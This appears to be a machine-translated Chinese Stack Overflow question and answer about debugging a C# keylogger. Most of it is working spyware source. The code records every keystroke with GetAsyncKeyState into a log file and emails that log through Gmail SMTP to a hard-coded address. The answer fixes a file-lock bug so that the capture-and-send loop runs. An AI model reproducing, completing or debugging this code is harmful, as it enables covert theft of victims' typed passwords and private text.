键盘记录程序使用相同的目录并抛出异常

时间:2017-06-03 13:34:56

标签: c# keylogger

在指南的帮助下创建了控制台键盘记录但有问题:
using (StreamWriter sw = File.AppendText(path))发出错误

  

其他信息:进程无法访问文件' C:\ Users \ D.A \ Documents \ LogsFolder \ LoggedKeys.txt'因为它正被另一个进程使用。

LogKeys();方法中的

 (第一次写在这里抱歉问题的错误)

使用的图书馆:

using System.IO;
using System.Threading;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using System.Net.Mail;


 我的代码:

static void Main(string[] args)
        {
            Path();
            SendMail();
            LogKeys();
        }

Mathow给出错误:

static void LogKeys()
        {
            String filepath = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);
            filepath = filepath + @"\LogsFolder\";
            KeysConverter converter = new KeysConverter();
            string text = "";
            string path = (@filepath + "LoggedKeys.txt");
            while (true)
            {
                Thread.Sleep(5);
                for (Int32 i = 0; i < 2000; i++)
                {
                    int key = GetAsyncKeyState(i);
                    if (key == 1 || key == -32767)
                    {
                        text = converter.ConvertToString(i);
                        using (StreamWriter sw = File.AppendText(path))
                        {
                            sw.WriteLine(text);
                        }
                        break;
                    }
                }
            }
        }

方法创建路径和文件(如果它存在的话)

static void Path()
        {

                String filepath = 
               Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);
                filepath = filepath + @"\LogsFolder\";

                if (!Directory.Exists(filepath))
                {
                    Directory.CreateDirectory(filepath);
                }

                string path = (@filepath + "LoggedKeys.txt");

                if (!File.Exists(path))
                {
                    using (StreamWriter sw = File.CreateText(path))
                    {

                    }
                }
            }

发送电子邮件的Methot

static void SendMail()
        {
            String Newfilepath = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);
            string Newfilepath2 = Newfilepath + @"\LogsFolder\LoggedKeys.txt";
            DateTime dateTime = DateTime.Now;
            string subtext = "Loggedfiles";
            subtext += dateTime;
            SmtpClient client = new SmtpClient("smtp.gmail.com", 587);
            MailMessage LOGMESSAGE = new MailMessage();
            LOGMESSAGE.From = new MailAddress("logkeysforme@gmail.com");
            LOGMESSAGE.To.Add("logkeysforme@gmail.com");
            LOGMESSAGE.Subject = subtext;
            client.UseDefaultCredentials = false;
            client.EnableSsl = true;
            client.Credentials = new System.Net.NetworkCredential("logkeysforme@gmail.com", "password");
            System.Threading.Thread.Sleep(2);
            LOGMESSAGE.Attachments.Add(new Attachment(Newfilepath2));
            LOGMESSAGE.Body = subtext;
            client.Send(LOGMESSAGE);
            LOGMESSAGE = null;
        }

1 个答案:

答案 0 :(得分:0)

SendMail方法中,您将文件 C:\ Users \ D.A \ Documents \ LogsFolder \ LoggedKeys.txt 用作电子邮件附件,而不会丢弃Attachment个对象。因此文件保持打开状态,当您尝试在LogKeys方法中再次访问它时,无法打开文件(文件一次只能打开一次,除非指定了共享)。

正确处理using的所有对象应关闭文件并解决问题:

static void SendMail()
{
    String Newfilepath = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);
    string Newfilepath2 = Newfilepath + @"\LogsFolder\LoggedKeys.txt";
    DateTime dateTime = DateTime.Now;
    string subtext = "Loggedfiles";
    subtext += dateTime;
    using (SmtpClient client = new SmtpClient("smtp.gmail.com", 587))
    {
        MailMessage LOGMESSAGE = new MailMessage();
        LOGMESSAGE.From = new MailAddress("logkeysforme@gmail.com");
        LOGMESSAGE.To.Add("logkeysforme@gmail.com");
        LOGMESSAGE.Subject = subtext;
        client.UseDefaultCredentials = false;
        client.EnableSsl = true;
        client.Credentials = new System.Net.NetworkCredential("logkeysforme@gmail.com", "password");
        System.Threading.Thread.Sleep(2);
        using (var attachment = new Attachment(Newfilepath2))
        {
            LOGMESSAGE.Attachments.Add(attachment);
            LOGMESSAGE.Body = subtext;
            client.Send(LOGMESSAGE);
        }
    }
}